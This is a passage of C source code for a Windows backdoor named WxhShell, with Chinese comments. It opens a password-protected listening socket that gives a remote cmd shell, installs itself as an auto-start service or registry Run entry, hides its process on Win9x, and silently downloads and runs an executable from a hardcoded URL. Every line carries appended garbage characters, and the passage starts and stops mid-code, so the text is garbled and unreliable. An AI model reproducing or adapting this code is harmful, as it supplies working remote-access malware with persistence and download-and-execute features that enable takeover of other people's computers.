    break; C{q:_M;  
    } %O<%UmR  
  // 关机 >N?2""  
  case 'd': { b77>$[xB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 60)iw4<wf  
    if(Boot(SHUTDOWN)) w1|A5q'M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bC3 F  
    else { 6O22P?v  
    closesocket(wsh); ?^EXTU85`"  
    ExitThread(0); `WOYoec   
    } rX;Ys2vQ*  
    break; J-<^P5  
    } ;_(PVo  
  // 获取shell $\"9<o|h  
  case 's': { "sKa`WN}  
    CmdShell(wsh); 'vbc#_;  
    closesocket(wsh); c.A|Ir  
    ExitThread(0); R i 'L  
    break; snt(IJQ  
  } ?9X&tK)E-  
  // 退出 k3t78Qg  
  case 'x': { 033T>qY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N7s'6(`=X  
    CloseIt(wsh); &l?+3$q  
    break; lMz<s  
    } P\&! ]  
  // 离开 \bx~*FaX  
  case 'q': { )kJH5/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1H,g=Y4f%  
    closesocket(wsh); D)brPMS:o  
    WSACleanup(); ,JEbd1Uf  
    exit(1); jkF8\dR  
    break; RuG-{NF{F  
        } )!Bd6-  
  } Z h/Uu6  
  } M@thI%lR  
6st^4S5  
  // 提示信息 &VBd~4|p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CZEW-PIhj  
} ZCg`z  
  } c:l]=O   
IAOcKQ3  
  return; K$ v"Uk  
} %Z8vdU#l  
Q8MS,7y/  
// shell模块句柄  j4R 4H;  
int CmdShell(SOCKET sock) hGf-q?7  
{ s(_+!d6  
STARTUPINFO si; %k0EpJE%  
ZeroMemory(&si,sizeof(si)); 6TH!vuQ1(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &l}?v@@+_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T#O??3/%$1  
PROCESS_INFORMATION ProcessInfo; U4Nh  
char cmdline[]="cmd"; 0"g@!gSrQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D^Ys)- d  
  return 0; a9~"3y  
} o/,NGU  
* \HRw +cL  
// 自身启动模式 OSzjK7:  
int StartFromService(void) nVD Xj  
{ d/7lefF  
typedef struct  .~}z4r  
{ hFvi 5I-b  
  DWORD ExitStatus; nB5Am^bP  
  DWORD PebBaseAddress; P=H+ #  
  DWORD AffinityMask; T ^JuZG  
  DWORD BasePriority;  l>v{  
  ULONG UniqueProcessId; k:#6^!b1  
  ULONG InheritedFromUniqueProcessId; mo1 puU  
}   PROCESS_BASIC_INFORMATION; NfE.N&vI_c  
[$ :  
PROCNTQSIP NtQueryInformationProcess; 2@vj!U8  
FyG6 !t%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s%;<O:x8o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I"xWw/Ec  
w5]l1}rl  
  HANDLE             hProcess; H:a|x#"  
  PROCESS_BASIC_INFORMATION pbi; LNQSb4  
/'y5SlE[J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4x'AC%&Qi  
  if(NULL == hInst ) return 0; zL s^,x  
'nK~'PZ,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )%du@a8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )Mzt3u  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]2+g&ox4'  
EaS~`  
  if (!NtQueryInformationProcess) return 0; 4Y tk!oS`  
/hdf{4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JZ`L%  
  if(!hProcess) return 0; T{*^_  
|0{ i9 .=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fc0jQ@4=  
0^]t"z5f0  
  CloseHandle(hProcess); ZHy><=2  
yBz >0I3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2/tb6' =  
if(hProcess==NULL) return 0; \iMyo  
<<3+g"enno  
HMODULE hMod; 6b:DJ  
char procName[255]; da*9(!OV  
unsigned long cbNeeded; ;.Zh,cU  
Sa] mm/ G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -[.PH M6+?  
|}qjqtZ  
  CloseHandle(hProcess); s!h5hwBY  
fkW(Dt,  
if(strstr(procName,"services")) return 1; // 以服务启动 'TEyP56  
*d l"wH&  
  return 0; // 注册表启动 |vy]8?Ak  
} IYNMU\s  
n0.8)=;2  
// 主模块 /!b x`cKG  
int StartWxhshell(LPSTR lpCmdLine) L_*L`!vQA"  
{ 0]a15  
  SOCKET wsl; *4#on>  
BOOL val=TRUE; P,1exgq9  
  int port=0; 1hNEkpL^a  
  struct sockaddr_in door; dy_.(r5[L]  
C MqM;1  
  if(wscfg.ws_autoins) Install(); fH!=Zb_{8  
7l}~4dm2J  
port=atoi(lpCmdLine); DN|vz}s  
A;%kl`~iyz  
if(port<=0) port=wscfg.ws_port; |!re8|JV_  
/s-d?  
  WSADATA data; #5d8?n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G4yUC<TqBP  
pSrsp r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3ExVZu$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ocP*\NR  
  door.sin_family = AF_INET; ,'-?:`hP'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y?.gfEXSQo  
  door.sin_port = htons(port); j@g!R!7)  
]xB6cPdLu  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QAXYrRu  
closesocket(wsl); )GCLK<,swu  
return 1; *08+\ed"#  
} tnRJ#[Io  
tD^a5qPh  
  if(listen(wsl,2) == INVALID_SOCKET) { q5gP~*?  
closesocket(wsl); gDc]^K4>  
return 1; ,A?v,Fs>O[  
} qqD0R*(C  
  Wxhshell(wsl); h~.V[o7=  
  WSACleanup(); /^ QFqM;  
P59uALi  
return 0; 4i96UvkZ  
9>zDJx  
} V"U~Q=`K  
;l#?SYY  
// 以NT服务方式启动 j>g9\i0O1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M->Kz{h?j  
{ .n=xbx:=  
DWORD   status = 0; ^X(_zinN"  
  DWORD   specificError = 0xfffffff; p|;o5j{  
$WM8tF?H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @s?oJpo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?bCTLt7k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]d~MEa9Y|  
  serviceStatus.dwWin32ExitCode     = 0; aH9L|BN*  
  serviceStatus.dwServiceSpecificExitCode = 0; 3_@G{O)e  
  serviceStatus.dwCheckPoint       = 0; b__n~\q_  
  serviceStatus.dwWaitHint       = 0; t>-XT|lV  
R =QM;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %0Vc\M@"G  
  if (hServiceStatusHandle==0) return; RDJ82{  
q2D`1nT  
status = GetLastError(); [y$j9  
  if (status!=NO_ERROR) ?~]>H A:  
{ 2@4MC`&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; M`q#,Y?3^I  
    serviceStatus.dwCheckPoint       = 0; gZ ~y}@L y  
    serviceStatus.dwWaitHint       = 0; :nTkg[49pJ  
    serviceStatus.dwWin32ExitCode     = status; lTd+{TF.  
    serviceStatus.dwServiceSpecificExitCode = specificError; &8.z$}m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [29$~.m$Y  
    return; N/`g?B[  
  } _GRv   
\y<+Fac1S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8HB?=a2Q<'  
  serviceStatus.dwCheckPoint       = 0; ]IL3$eR  
  serviceStatus.dwWaitHint       = 0; s-y'<(ll  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <`^>bv9  
} L'zdsa}Et  
s; ~J2h[  
// 处理NT服务事件,比如:启动、停止 ,[+ZjAyG}#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Pau&4h0  
{ [UUM^!1  
switch(fdwControl) CA'hvXb.  
{ 3Ro7M=]  
case SERVICE_CONTROL_STOP: K1CMLX]m  
  serviceStatus.dwWin32ExitCode = 0; a^(S!I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )GQ D*b  
  serviceStatus.dwCheckPoint   = 0; Yk x&6M@t  
  serviceStatus.dwWaitHint     = 0; H 7 o$O  
  { )3d:S*ly  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  W\zL  
  } axt6u)4%7:  
  return; Au%Wrk3j  
case SERVICE_CONTROL_PAUSE: JT}dor  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KX&Od@cQ$  
  break; !!\4'Q[  
case SERVICE_CONTROL_CONTINUE: 'bd=,QW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *m2d#f  
  break; 4p0IBfVG  
case SERVICE_CONTROL_INTERROGATE: #0#V$AA>  
  break; K'ed5J  
}; = D;UMSf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZnxOa  
} R;N>#_9HU  
\ltErd-  
// 标准应用程序主函数 70I4-[/z[d  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VbY>l' rY  
{ $/-wgyP3m+  
Fb $5&~d  
// 获取操作系统版本 ^[SbV^DOL  
OsIsNt=GetOsVer(); 8=b{'s^^F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); M ?: f^  
mDe+ M {/  
  // 从命令行安装 '3Y0D1`v  
  if(strpbrk(lpCmdLine,"iI")) Install(); fM zAf3  
-6*OF.Ag`  
  // 下载执行文件 0n=9TmE  
if(wscfg.ws_downexe) { +5seT}h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) n[S41809<  
  WinExec(wscfg.ws_filenam,SW_HIDE); h1D~AgZOVj  
} J,&`iL-  
}(hYG"5  
if(!OsIsNt) { [0%Gu 5_\  
// 如果时win9x,隐藏进程并且设置为注册表启动 KX=:)%+  
HideProc(); UC<[z#]\;  
StartWxhshell(lpCmdLine); ^me}k{x  
} hBs>2u|z9  
else NUO,"Bqq  
  if(StartFromService()) ? geWR_Z  
  // 以服务方式启动 +A&IxsTq5=  
  StartServiceCtrlDispatcher(DispatchTable); y("0Xve  
else a5Acqa  
  // 普通方式启动 vY TPZ@RL  
  StartWxhshell(lpCmdLine); j)SgB7Q  
PSrt/y!  
return 0; 9  lazo  
} j#.-MfB  
5IB:4zx^h  
l%)=s~6z  
D;#Yn M3  
=========================================== QP-<$P;~  
;V}FbWz^v6  
vGMOXbq4&  
1rzq$,O  
."#jN><t  
Ot:\h  
" IUBps0.T\  
![MDmt5Ub^  
#include <stdio.h> ?p/kuv{\o#  
#include <string.h> xuH<=-O>ki  
#include <windows.h> :Pp;{=J  
#include <winsock2.h> K5c7>I%k  
#include <winsvc.h> N<i Vs  
#include <urlmon.h> 4 d1Y\  
T`2fPxM:cZ  
#pragma comment (lib, "Ws2_32.lib") G cLp"  
#pragma comment (lib, "urlmon.lib") <raqp Oo&  
<t|9`l_XW  
#define MAX_USER   100 // 最大客户端连接数 A#07Ly8kXn  
#define BUF_SOCK   200 // sock buffer F~- S3p  
#define KEY_BUFF   255 // 输入 buffer '9F{.]  
SJuf`  
#define REBOOT     0   // 重启 N?<@o2{  
#define SHUTDOWN   1   // 关机 7!840 :a?+  
01d26`G$i~  
#define DEF_PORT   5000 // 监听端口 aw@Aoq  
p<nBS" /  
#define REG_LEN     16   // 注册表键长度 ,/?V+3l  
#define SVC_LEN     80   // NT服务名长度 .g`*cDW^=  
}oxaB9r  
// 从dll定义API #dm@%~B{.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h.+&=s!Nsy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F vk: c-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E@}j}/%'O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %T*+t"\)  
u~T$F/]k>  
// wxhshell配置信息 (uxQBy  
struct WSCFG { =}o>_+"  
  int ws_port;         // 监听端口 ImY*cW=M  
  char ws_passstr[REG_LEN]; // 口令 3jdB8a]T_  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5J#g JFA  
  char ws_regname[REG_LEN]; // 注册表键名 Pds*M?&F  
  char ws_svcname[REG_LEN]; // 服务名 s3RyLT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (tz]!Aa{s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I; }%k;v6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ok _{8z\#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3a[(GW _  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ={0{X9t?'j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A,[m=9V  
# i=^WN<V  
}; >!p K94  
|.8=gS5  
// default Wxhshell configuration ;= @-j@?  
struct WSCFG wscfg={DEF_PORT, Ln%_8yth  
    "xuhuanlingzhe", F"TI 9ib  
    1, Llc|j&yHQ  
    "Wxhshell", D>^ix[:J  
    "Wxhshell", qtwmTT)  
            "WxhShell Service", rBPxGBd4  
    "Wrsky Windows CmdShell Service", k GeME   
    "Please Input Your Password: ", :DpK{$eCb  
  1, s H[34gCh;  
  "http://www.wrsky.com/wxhshell.exe", )Bvu[r Uy  
  "Wxhshell.exe" @Iatlz*W  
    }; 3VB V_/i;  
sU!q~`; J  
// 消息定义模块 =YsTF T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;mxT >|z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a~EEow;A  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SO<K#HfE$?  
char *msg_ws_ext="\n\rExit."; HUI!IOh  
char *msg_ws_end="\n\rQuit."; w%H#>k  
char *msg_ws_boot="\n\rReboot..."; g*AqFY7|  
char *msg_ws_poff="\n\rShutdown..."; bu5)~|?{t  
char *msg_ws_down="\n\rSave to "; e(5R8ud  
9h=WWu',  
char *msg_ws_err="\n\rErr!"; ]F-6KeBc  
char *msg_ws_ok="\n\rOK!"; G ~\$Oq8  
En_8H[<%  
char ExeFile[MAX_PATH]; nu -wQr  
int nUser = 0; DcDGrRuh  
HANDLE handles[MAX_USER]; (_<n0  
int OsIsNt; '(>N gd[  
0zNS;wvv&  
SERVICE_STATUS       serviceStatus; .8~ x;P6  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _erH]E| [  
1'B?f# s  
// 函数声明 emO!6]0gJ  
int Install(void); $MGd>3%y  
int Uninstall(void); y +vcBuX  
int DownloadFile(char *sURL, SOCKET wsh); [0@i,7{ZqE  
int Boot(int flag); K_.x(Z(;4  
void HideProc(void); }N!8i'suz9  
int GetOsVer(void); fE}}>  
int Wxhshell(SOCKET wsl); PrxXL/6  
void TalkWithClient(void *cs); 5G[^ah<Tg  
int CmdShell(SOCKET sock); 3Mt6iZW  
int StartFromService(void); }]@ "t)"  
int StartWxhshell(LPSTR lpCmdLine); i:To8kdO  
YJ`>&AJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |zlwPi.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); h2K  
ibL;99#  
// 数据结构和表定义 ]~,'[gWb  
SERVICE_TABLE_ENTRY DispatchTable[] = >MLqOUr#  
{ 7c7SU^hD  
{wscfg.ws_svcname, NTServiceMain}, 4Qs#ws])  
{NULL, NULL} Ado>)c"*y1  
}; =*N(8j>y  
s3S73fNOk  
// 自我安装 ymu#u   
int Install(void) " 8v  
{ l-rI|0D#  
  char svExeFile[MAX_PATH]; J3vuh#  
  HKEY key;  VPzdT*g]  
  strcpy(svExeFile,ExeFile); >~k Y{_  
*2Kte'+q  
// 如果是win9x系统,修改注册表设为自启动 QBg'VV  
if(!OsIsNt) { IFe[3mB5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wit1WI;18  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O,PHAwVG%L  
  RegCloseKey(key); :mL.Y em*'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S]+}Zyg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f}A^rWO  
  RegCloseKey(key); [a2/`ywdV  
  return 0; iZF{9@  
    } Y|bGd_j  
  } ,KWeW^z'7  
} '=xl}v  
else { <KCgtO  
z;)% i f6  
// 如果是NT以上系统,安装为系统服务 L'(^[vR(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LBzpaLd  
if (schSCManager!=0) ?Z"}RMM)8  
{ ?0F#\0  
  SC_HANDLE schService = CreateService a&JAF?k  
  ( gKnAw+u\  
  schSCManager, :Li)]qN.I  
  wscfg.ws_svcname, i?]!8Ji  
  wscfg.ws_svcdisp, .,4&/cd  
  SERVICE_ALL_ACCESS, j56Y,Tm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -Q/Dbz#-  
  SERVICE_AUTO_START, #HML=qK~  
  SERVICE_ERROR_NORMAL, ?hO*~w;UU|  
  svExeFile, K4~dEZ   
  NULL, *Z(qk`e.b  
  NULL, *)Y;`Yg$  
  NULL, 3!I8J:GZ:  
  NULL, K4KmoGb  
  NULL 'W)x<Iey1  
  ); CwAl-o  
  if (schService!=0) yq2Bz7P  
  { iJcl0)|  
  CloseServiceHandle(schService); (NP=5lLH  
  CloseServiceHandle(schSCManager); ,QDq+93  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y]k`}&-~  
  strcat(svExeFile,wscfg.ws_svcname); ({)_[dJ'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W`KkuQ4cM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M30_b8[Y_  
  RegCloseKey(key); ;YB8X&H$  
  return 0; @Q'5/q+  
    } >Kx l+F  
  } >?5`FC  
  CloseServiceHandle(schSCManager); 8`+X6iZOQ  
} Mc.KLz&,FC  
} 2- )Ml*  
T]+*} C  
return 1; |Q$C%7  
} sM4N`$Is23  
hPl;2r  
// 自我卸载 0-QkRr_ I  
int Uninstall(void) (7"qT^s3  
{ q.*qZ\;K  
  HKEY key; {KR/ TQ?A  
ym:JtI69   
if(!OsIsNt) { y jb.6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zX3O_  
  RegDeleteValue(key,wscfg.ws_regname); Bk8U\Ut  
  RegCloseKey(key); ?p`}6s Q}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a].Bn#AH!C  
  RegDeleteValue(key,wscfg.ws_regname); u*"tZ+|m  
  RegCloseKey(key); ,L`qV  
  return 0; Q_ $AGF  
  } p@P[pzxI  
} RgEUTpX  
}  -"<eq0  
else { [QeKT8  
NvYgRf}uh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E_$ ST3  
if (schSCManager!=0) fY>\VY$>  
{ ,u$$w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A1i-QG/6  
  if (schService!=0) y:1?~R  
  { ) m?oQ#`m  
  if(DeleteService(schService)!=0) { v%_sCg  
  CloseServiceHandle(schService); E#T'=f[r~  
  CloseServiceHandle(schSCManager); B^eea[  
  return 0; AX6e}-S1n  
  } 18a6i^7  
  CloseServiceHandle(schService); Z$2mVRS`c  
  } guBOR 0x`  
  CloseServiceHandle(schSCManager); m^p Q55,   
} 4iDo.1B"  
} Y8Mo.v  
U; ev3  
return 1; ZWYwVAo  
} Yh"R#  
LM0 TSB?  
// 从指定url下载文件 DT_012 z  
int DownloadFile(char *sURL, SOCKET wsh) NmK%k jCx  
{ RL($h4d9  
  HRESULT hr; 0\u_ \%[  
char seps[]= "/"; i;yz%Ug  
char *token; !1|f,9C  
char *file; (/PD;R$b  
char myURL[MAX_PATH]; a]75z)X R  
char myFILE[MAX_PATH]; Y ||!V  
}**^ g:  
strcpy(myURL,sURL); S&@~F|  
  token=strtok(myURL,seps); ""TRLs!:M  
  while(token!=NULL) 0!xD+IA!8  
  { I9B B<~4o  
    file=token; U edh4qa  
  token=strtok(NULL,seps); uI.4zbgl[  
  } df}B:?Ew.  
}K0.*+M  
GetCurrentDirectory(MAX_PATH,myFILE); eD G=-a4  
strcat(myFILE, "\\"); NeUpl./b  
strcat(myFILE, file); ^k~{6S,  
  send(wsh,myFILE,strlen(myFILE),0); T7&itgEYG/  
send(wsh,"...",3,0); {_PV~8u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )6Z)z;n]aW  
  if(hr==S_OK) +HUI1@ql  
return 0; bSBI[S  
else Dr<%Lr  
return 1; E/Y.f  
BYP,}yzA  
} e(j"u;=  
 k:R9wo  
// 系统电源模块 n6 )  
int Boot(int flag) W>'R<IY4#N  
{ 7J##IH+z35  
  HANDLE hToken; luAhyEp  
  TOKEN_PRIVILEGES tkp; v='7.A  
(eG#JVsm9  
  if(OsIsNt) { 7vgz=- MZ#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kVZ>Dc2M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }4\>q$8'  
    tkp.PrivilegeCount = 1; [G4#DP\t>p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -,3Ka:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >e"1a/2%>&  
if(flag==REBOOT) { YgrBIul  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) RVX-3FvP  
  return 0; %]RzC`NZ  
} B3e{'14  
else { P#"vlNa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6d`6=D:  
  return 0; ]@>bz  
} :E]A51  
  } kQwBrb 4  
  else { Mt<TEr}7Z=  
if(flag==REBOOT) { W/xb[w9v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h5.u W8  
  return 0; *_3+ DF  
} "P'W@  
else { M%sWtgw(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VI[ikNpX  
  return 0; XEY((VL0  
} ^~8l|d_  
} X{<j%PdC  
d|w% F=  
return 1; cPkN)+K  
} K%$%9y  
jW"C: {Ol;  
// win9x进程隐藏模块 @tRq(*(/:  
void HideProc(void) Of SYOL7o  
{ .pr-  ^  
3Q Zw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0:Ak 4L6k  
  if ( hKernel != NULL ) Skq%S`1%Q  
  { Z,_yE*q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %dKUB4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S_ e }>-  
    FreeLibrary(hKernel); +^{yJp.H#  
  } LKFL2|af  
/0\m;&  
return; [#$z.BoEo  
} aKhI|%5kA  
IH'DCY:  
// 获取操作系统版本 sn]8h2z  
int GetOsVer(void) 9#@dQ/*  
{ X-e)w  
  OSVERSIONINFO winfo; khyn4   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OtrO"K  
  GetVersionEx(&winfo); v](7c2;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cn[`]  
  return 1; PGOi#x  
  else U;LbP -{B  
  return 0; /t01z~_  
} bH~ue5q  
=ugxPgn  
// 客户端句柄模块 wMT?p/9Blm  
int Wxhshell(SOCKET wsl) oZA?}#DRl  
{ MrXhVZ"d*  
  SOCKET wsh; x$cs_q]J  
  struct sockaddr_in client; 1ZOHyO  
  DWORD myID; HUfH/x3zj]  
n[[rI0]g  
  while(nUser<MAX_USER) 2$jTj<.K  
{ S=n,unn#t  
  int nSize=sizeof(client); o=X6PoJ N_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {r#2X1  
  if(wsh==INVALID_SOCKET) return 1; )ZEUD] X  
7^ A;.x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wyMj^+ 2m  
if(handles[nUser]==0) :CNHN2 J  
  closesocket(wsh); [u[F6Wst  
else $ o?Wum  
  nUser++; D ?1$I0=  
  } k`F$aQV9`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b?hdWQSW7  
-%I]Q9  
  return 0; HcXyU/>D  
} L 5J=+k,  
Bmm#5X@*  
// 关闭 socket Qv,8tdx  
void CloseIt(SOCKET wsh) #DXC 6f  
{ G9TK)Nz  
closesocket(wsh); cor?#  
nUser--; n4h@{Xg  
ExitThread(0); 7?:7}xb-  
} q+>J'UGb  
E5w. wx  
// 客户端请求句柄 N 3 i ,_  
void TalkWithClient(void *cs) 0zCe|s.S&  
{ [cv7s=U%  
7hqa|  
  SOCKET wsh=(SOCKET)cs; u.YPb@  
  char pwd[SVC_LEN]; AF g*  
  char cmd[KEY_BUFF]; JV=d!Gi[C  
char chr[1]; *y9 iuJ}  
int i,j; >:%i,K*AM  
Q/o !&&  
  while (nUser < MAX_USER) { "Sz pFw  
rj&  
if(wscfg.ws_passstr) { aL$m  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); br*L|s\P\9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v|C)Q %v  
  //ZeroMemory(pwd,KEY_BUFF); axW3#3#`  
      i=0; *G7$wW:?  
  while(i<SVC_LEN) { 2s_shY<=}L  
b*S :wfw  
  // 设置超时 .9_]8 T  
  fd_set FdRead; uh*b[`e  
  struct timeval TimeOut; .|}ogTEf  
  FD_ZERO(&FdRead); |FG t'  
  FD_SET(wsh,&FdRead); 9!zUv:;  
  TimeOut.tv_sec=8; M)C. bo{p  
  TimeOut.tv_usec=0; :j)H;@[I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Sd'!(M^k3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); + VE }c  
B- =*"H?q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z1XFc*5  
  pwd=chr[0]; ) E.KB6  
  if(chr[0]==0xd || chr[0]==0xa) {  m/gl7+  
  pwd=0; uF_gfjR[m  
  break; ; >Tko<  
  } t<mT=(zt*  
  i++; [0U!Y/?6lA  
    } m:CiXM   
D[U[ D  
  // 如果是非法用户,关闭 socket 7Gd)=Q{uur  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H6X]D"Y,  
} "PK\;#[W|  
h$.y)v  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s1. YH?A;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Tu2BQ4\[  
":E 7#9  
while(1) { ig:,:KN  
25]Mi2_  
  ZeroMemory(cmd,KEY_BUFF); UhQ[|c  
hn\<'|n  
      // 自动支持客户端 telnet标准   j3jf:7 /\  
  j=0; NPy{ =#k4  
  while(j<KEY_BUFF) { (1p[K-J)r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $BKGPGmh  
  cmd[j]=chr[0]; 3on]#/"1b  
  if(chr[0]==0xa || chr[0]==0xd) { #ak2[UOT  
  cmd[j]=0; j H#Tt;  
  break; HTiqErD2_  
  } t<s:ut)Q!  
  j++; gBfYm  
    } 9,wd,,ta  
P6V_cw$  
  // 下载文件 rZ5vey  
  if(strstr(cmd,"http://")) { g((glr)6M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I} a`11xb`  
  if(DownloadFile(cmd,wsh)) #s'9Ydd  
